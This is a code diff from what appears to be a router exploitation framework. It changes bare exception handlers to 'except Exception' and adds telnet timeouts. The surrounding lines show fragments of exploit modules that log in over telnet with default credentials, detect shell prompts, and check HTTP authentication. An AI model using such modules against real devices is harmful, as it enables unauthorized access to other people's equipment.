...@@ -78,7 +78,7 @@ class Exploit(exploits.Exploit): ...@@ -78,7 +78,7 @@ class Exploit(exploits.Exploit):
else: else:
if any(map(lambda x: x in res, ["<DM name="])): if any(map(lambda x: x in res, ["<DM name="])):
return True # target is vulnerable return True # target is vulnerable
except: except Exception:
return False # target is not vulnerable return False # target is not vulnerable
return False # target is not vulnerable return False # target is not vulnerable
...@@ -40,7 +40,7 @@ class Exploit(exploits.Exploit): ...@@ -40,7 +40,7 @@ class Exploit(exploits.Exploit):
def run(self): def run(self):
try: try:
print_status("Trying to authenticate to the telnet server") print_status("Trying to authenticate to the telnet server")
tn = telnetlib.Telnet(self.target, self.telnet_port) tn = telnetlib.Telnet(self.target, self.telnet_port, timeout=10)
tn.expect(["Login: ", "login: "], 5) tn.expect(["Login: ", "login: "], 5)
tn.write(self.username + "\r\n") tn.write(self.username + "\r\n")
tn.expect(["Password: ", "password"], 5) tn.expect(["Password: ", "password"], 5)
...@@ -60,13 +60,13 @@ class Exploit(exploits.Exploit): ...@@ -60,13 +60,13 @@ class Exploit(exploits.Exploit):
print_error("Exploit failed") print_error("Exploit failed")
tn.close() tn.close()
except: except Exception:
print_error("Connection error {}:{}".format(self.target, self.telnet_port)) print_error("Connection error {}:{}".format(self.target, self.telnet_port))
@mute @mute
def check(self): def check(self):
try: try:
tn = telnetlib.Telnet(self.target, self.telnet_port) tn = telnetlib.Telnet(self.target, self.telnet_port, timeout=10)
tn.expect(["Login: ", "login: "], 5) tn.expect(["Login: ", "login: "], 5)
tn.write(self.username + "\r\n") tn.write(self.username + "\r\n")
tn.expect(["Password: ", "password"], 5) tn.expect(["Password: ", "password"], 5)
...@@ -81,7 +81,7 @@ class Exploit(exploits.Exploit): ...@@ -81,7 +81,7 @@ class Exploit(exploits.Exploit):
else: else:
if any(map(lambda x: x in res, ["#", "$", ">"])): if any(map(lambda x: x in res, ["#", "$", ">"])):
return True # target is vulnerable return True # target is vulnerable
except: except Exception:
return False # target is not vulnerable return False # target is not vulnerable
return False # target is not vulnerable return False # target is not vulnerable
...@@ -82,7 +82,7 @@ class Exploit(exploits.Exploit): ...@@ -82,7 +82,7 @@ class Exploit(exploits.Exploit):
res = res1 + res2 res = res1 + res2
if res[0] != "</textarea>": if res[0] != "</textarea>":
return res[0] return res[0]
except: except Exception:
pass pass
return "" return ""
...@@ -92,7 +92,7 @@ class Exploit(exploits.Exploit): ...@@ -92,7 +92,7 @@ class Exploit(exploits.Exploit):
try: try:
response = http_request("GET", url, self.session) response = http_request("GET", url, self.session)
except: except Exception:
return return
# Check for Model Name # Check for Model Name
...@@ -140,7 +140,7 @@ class Exploit(exploits.Exploit): ...@@ -140,7 +140,7 @@ class Exploit(exploits.Exploit):
if "Username" not in response.text and "Password" not in response.text: if "Username" not in response.text and "Password" not in response.text:
print_success("Successful authentication") print_success("Successful authentication")
return True return True
except: except Exception:
pass pass
return False return False
......
...@@ -92,7 +92,7 @@ def shell(exploit, architecture="", method="", payloads=None, **params): ...@@ -92,7 +92,7 @@ def shell(exploit, architecture="", method="", payloads=None, **params):
if option[0] == c[1]: if option[0] == c[1]:
try: try:
setattr(payload, c[1], c[2]) setattr(payload, c[1], c[2])
except: except Exception:
print_error("Invalid value for {}".format(c[1])) print_error("Invalid value for {}".format(c[1]))
break break
......
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment